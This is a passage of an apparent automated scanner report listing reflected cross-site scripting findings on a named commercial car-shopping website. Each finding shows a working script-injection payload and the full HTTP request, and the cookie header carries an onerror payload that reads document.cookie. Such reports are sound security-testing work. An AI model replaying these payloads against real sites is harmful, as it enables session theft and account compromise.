Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/car-dealers.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59628"><script>alert(1)</script>c17b73d46b0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /car-dealers.htm?59628"><script>alert(1)</script>c17b73d46b0=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.481. http://www.autobytel.com/car-financing.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/car-financing.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a1ba"><script>alert(1)</script>72bb89c822 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /car-financing.htm?9a1ba"><script>alert(1)</script>72bb89c822=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.482. http://www.autobytel.com/car-incentives.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/car-incentives.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62a66"><script>alert(1)</script>d49e48ec7f0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /car-incentives.htm?62a66"><script>alert(1)</script>d49e48ec7f0=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.483. http://www.autobytel.com/car-news.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/car-news.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce21d"><script>alert(1)</script>3aec2d5e3b1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /car-news.htm?ce21d"><script>alert(1)</script>3aec2d5e3b1=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.484. http://www.autobytel.com/car-pictures.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/car-pictures.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d31c5"><script>alert(1)</script>0161e7b6f7e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /car-pictures.htm?d31c5"><script>alert(1)</script>0161e7b6f7e=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.485. http://www.autobytel.com/car-reviews.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/car-reviews.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85055"><script>alert(1)</script>0f5db676ef2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /car-reviews.htm?85055"><script>alert(1)</script>0f5db676ef2=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.486. http://www.autobytel.com/content/buy/finance/index.cfm/action/Calculator [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/content/buy/finance/index.cfm/action/Calculator
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9428c"><script>alert(1)</script>80066caf137 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/buy/finance/index.cfm/action/Calculator?9428c"><script>alert(1)</script>80066caf137=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.487. http://www.autobytel.com/content/buy/warranty/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/content/buy/warranty/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 972de"><script>alert(1)</script>4370f7100ff was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/buy/warranty/index.cfm?972de"><script>alert(1)</script>4370f7100ff=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6ac1"><script>alert(1)</script>8ce2ae86fd0 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/home/help/index.cfm?id=13148;ABTLe6ac1"><script>alert(1)</script>8ce2ae86fd0&action=privacy HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.489. http://www.autobytel.com/content/home/help/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/content/home/help/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85633"><script>alert(1)</script>76dec51da84 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/home/help/index.cfm?85633"><script>alert(1)</script>76dec51da84=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.490. http://www.autobytel.com/content/home/help/index.cfm/action/about [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/content/home/help/index.cfm/action/about
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a165"><script>alert(1)</script>04f69bcc06f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/home/help/index.cfm/action/about?1a165"><script>alert(1)</script>04f69bcc06f=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.491. http://www.autobytel.com/content/home/help/index.cfm/action/contact [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/content/home/help/index.cfm/action/contact
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e53c1"><script>alert(1)</script>1096707d8b0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/home/help/index.cfm/action/contact?e53c1"><script>alert(1)</script>1096707d8b0=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.492. http://www.autobytel.com/content/home/help/index.cfm/action/privacy [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/content/home/help/index.cfm/action/privacy
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7baa5"><script>alert(1)</script>7e39fdfacf3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/home/help/index.cfm/action/privacy?7baa5"><script>alert(1)</script>7e39fdfacf3=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.493. http://www.autobytel.com/content/home/help/index.cfm/action/terms [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/content/home/help/index.cfm/action/terms
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c24ec"><script>alert(1)</script>ea08fbb8c3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/home/help/index.cfm/action/terms?c24ec"><script>alert(1)</script>ea08fbb8c3=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.494. http://www.autobytel.com/content/research/Reviews/index.cfm/action/addCtdStep1/reviewDo/Read/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79131"><script>alert(1)</script>c16027f265e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/research/Reviews/index.cfm/action/addCtdStep1/reviewDo/Read/?79131"><script>alert(1)</script>c16027f265e=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.495. http://www.autobytel.com/content/research/article/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/content/research/article/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e083"><script>alert(1)</script>3970073240c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/research/article/index.cfm?9e083"><script>alert(1)</script>3970073240c=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47d69"><script>alert(1)</script>361724af196 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/research/article/index.cfm/filters/Auto%20Show?47d69"><script>alert(1)</script>361724af196=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.497. http://www.autobytel.com/content/research/article/index.cfm/filters/Buying%20Guide [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a483e"><script>alert(1)</script>844843e9554 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /content/research/article/index.cfm/filters/Buying%20Guide?a483e"><script>alert(1)</script>844843e9554=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.498. http://www.autobytel.com/content/research/comparison/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/content/research/comparison/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 851b3"><script>alert(1)</script>1b23e4debab was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
